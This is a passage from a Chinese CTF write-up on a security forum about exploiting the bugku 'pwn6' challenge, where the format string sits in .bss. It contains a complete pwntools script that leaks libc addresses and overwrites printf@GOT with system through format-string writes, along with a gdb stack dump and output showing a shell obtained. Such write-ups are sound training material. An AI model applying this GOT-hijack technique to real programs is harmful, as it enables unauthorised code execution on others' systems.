[loop detected] 0x00007ffdf9089308 │ + 0x00d8 : 0x0000000000000000 0x00007ffdf9089310 │ + 0x00e0 : 0x0000000000000000 0x00007ffdf9089318 │ + 0x00e8 : 0x00007feb09f48419 → <_IO_do_write + 121 > mov r13, rax 0x00007ffdf9089320 │ + 0x00f0 : 0x000000000000000c 0x00007ffdf9089328 │ + 0x00f8 : 0x00007feb0a293620 → 0x00000000fbad2887 0x00007ffdf9089330 │ + 0x0100 : 0x000000000000000a 0x00007ffdf9089338 │ + 0x0108 : 0x000055f31cd6a05c → "your choice:" 0x00007ffdf9089340 │ + 0x0110 : 0x00007ffdf9089490 → 0x0000000000000001 0x00007ffdf9089348 │ + 0x0118 : 0x00007feb09f4882b → <_IO_file_overflow + 235 > cmp eax, 0xffffffff 0x00007ffdf9089350 │ + 0x0120 : 0x000000000000000c 0x00007ffdf9089358 │ + 0x0128 : 0x00007feb0a293620 → 0x00000000fbad2887 0x00007ffdf9089360 │ + 0x0130 : 0x000055f31cd6a05c → "your choice:" 0x00007ffdf9089368 │ + 0x0138 : 0x00007feb09f3d80a → <puts + 362 > cmp eax, 0xffffffff 0x00007ffdf9089370 │ + 0x0140 : 0x0000000000000000 0x00007ffdf9089378 │ + 0x0148 : 0x00007ffdf9089390 → 0x000055f31cf6a580 → 0x00007feb09f73a50 → <__strcpy_sse2_unaligned + 0 > mov rcx, rsi 0x00007ffdf9089380 │ + 0x0150 : 0x000055f31cd698b0 → xor ebp, ebp 0x00007ffdf9089388 │ + 0x0158 : 0x000000181cd69a91 0x00007ffdf9089390 │ + 0x0160 : 0x000055f31cf6a580 → 0x00007feb09f73a50 → <__strcpy_sse2_unaligned + 0 > mov rcx, rsi ← $rbp 0x00007ffdf9089398 │ + 0x0168 : 0x000055f31cd69e5b → <main + 115 > jmp 0x55f31cd69e67 <main + 127 > 0x00007ffdf90893a0 │ + 0x0170 : 0x00007ffdf9089490 → 0x0000000000000001 0x00007ffdf90893a8 │ + 0x0178 : 0x0000000300000000 0x00007ffdf90893b0 │ + 0x0180 : 0x000055f31cd69ea0 → <__libc_csu_init + 0 > mov QWORD PTR [rsp - 0x28 ], rbp 0x00007ffdf90893b8 │ + 0x0188 : 0x00007feb09eee840 → <__libc_start_main + 240 > mov edi, eax |
此处笔者选择将栈顶和保存rbp的地址填充为printf@got+2和printf@got。
pwned
全部脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | from pwn import * #context.log_level = "DEBUG" io = process( './pwn6' ) io.sendafter( 'your choice:\n' , '1\n' ) io.sendafter( 'keys?\n' , '\x00' ) io.sendafter( 'your message to encode:\n' , 'A' * 0x140 + p64( 0x10 )) io.sendafter( 'your choice:\n' , '2\n' ) io.recv() def decode_str(string): new_str = "" for ch in string: tmp = ord (ch) tmp = (tmp >> 2 ) | ((tmp << 6 ) % 0x100 ) new_str + = chr (tmp) return new_str #io.send(decode_str('aaaa')) io.send(decode_str( '%51$p\n%45$p\n' )) io.recvuntil( 'after encoding...\n' ) main_addr = int (io.recvline(), 16 ) - 115 puts_addr = int (io.recvline(), 16 ) - 362 libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' ) libc_base = puts_addr - libc.sym[ 'puts' ] system_addr = libc_base + libc.sym[ 'system' ] low_system = system_addr % 0x10000 high_system = (system_addr>> 16 ) % 0x100 printf_got = main_addr + 0x200760 part2_printf_got = (printf_got + 2 ) call_printf_offset = main_addr - 0xAD log.info( "main_addr: 0x%x" % main_addr) log.info( "system_addr: 0x%x" % system_addr) log.info( "low_system: 0x%x" % low_system) log.info( "high_system: 0x%x" % high_system) log.info( "printf_got: 0x%x" % printf_got) log.info( "part2_printf_got: 0x%x" % part2_printf_got) #gdb.attach(io,"break strcpy\nbreak *0x%x\nc"%call_printf_offset) #pause() #set rbp io.sendafter( 'your choice:\n' , '1\n' ) io.sendafter( 'keys?\n' , '\x00' ) io.sendafter( 'your message to encode:\n' , 'A' * 0x110 + p64(printf_got)) io.sendafter( 'your choice:\n' , '3\n' ) io.sendafter( 'your message to encode:\n' , '123' ) #clear stack io.sendafter( 'your choice:\n' , '1\n' ) io.sendafter( 'keys?\n' , '\x00' ) io.sendafter( 'your message to encode:\n' , 'A' * 7 + '\x00' ) io.sendafter( 'your choice:\n' , '3\n' ) io.sendafter( 'your message to encode:\n' , '123' ) #set second chain in stack io.sendafter( 'your choice:\n' , '1\n' ) io.sendafter( 'keys?\n' , '\x00' ) io.sendafter( 'your message to encode:\n' ,p64(part2_printf_got)) io.sendafter( 'your choice:\n' , '3\n' ) io.sendafter( 'your message to encode:\n' , '123' ) io.sendafter( 'your choice:\n' , '2\n' ) io.recv() #hijack got: printf_got = system_addr payload = '%' + str (high_system) + 'c%16$hhn' + '%' + str (low_system - high_system) + 'c%50$hn' if len (payload) > 24 : log.info( 'the length of payload is: %d' % len (payload)) log.info( 'this payload is too long,try again!' ) exit() log.info(payload) io.send(decode_str(payload)) io.sendafter( 'your choice:\n' , '2\n' ) io.recv() payload = '/bin/sh\x00' log.info(payload) io.send(decode_str(payload)) io.recv() io.interactive() |
运行效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | dc@ubuntu:~ / playground$ python payload_pwn6.py [ + ] Starting local process './pwn6' : pid 88821 [ * ] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [ * ] main_addr: 0x55b869787de8 [ * ] system_addr: 0x7f4e8caf13a0 [ * ] low_system: 0x13a0 [ * ] high_system: 0xaf [ * ] printf_got: 0x55b869988548 [ * ] part2_printf_got: 0x55b86998854a [ * ] % 175c % 16 $hhn % 4849c % 50 $hn [ * ] / bin / sh\x00[ * ] Switching to interactive mode $ whoami dc $ |
总结
通过本文中的练习,可以总结以下三点:
- 题目中给出的漏洞,基本上都会有用处;先分析题目中所有的缺陷,然后再思考如何利用。
- 变量未初始化这个漏洞平时容易被忽略,但很可能是漏洞利用的一环,所以多要注意栈中数据。
- 针对格式化字符串不在栈中的题目,可以尝试构造两个分别指向printf@got表高低位的链条来完成got劫持。
参考文章
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2021-5-28 13:53
被顾言庭编辑
,原因:
赞赏记录
参与人
雪币
留言
时间
GUANZHI_
为你点赞~
2023-11-7 20:11
学计算机睡觉
为你点赞~
2023-6-4 17:34
一笑人间万事
为你点赞~
2022-7-27 01:06
心游尘世外
为你点赞~
2022-7-26 22:56
Youlor
为你点赞~
2022-7-17 11:39
飘零丶
为你点赞~
2022-7-17 02:30
赞赏
他的文章
- [原创][安全运维向]模拟搭建小型企业内网 14048
- 攻防世界-PWN-高手进阶区-难度3到4-全部题解 18349
- [原创]攻击格式化字符串在.bss段的程序(bugku-pwn6) 14991
- [原创]XCTF攻防世界-pwn新手练习区全部十题解析 13623
看原图
赞赏
雪币:
留言: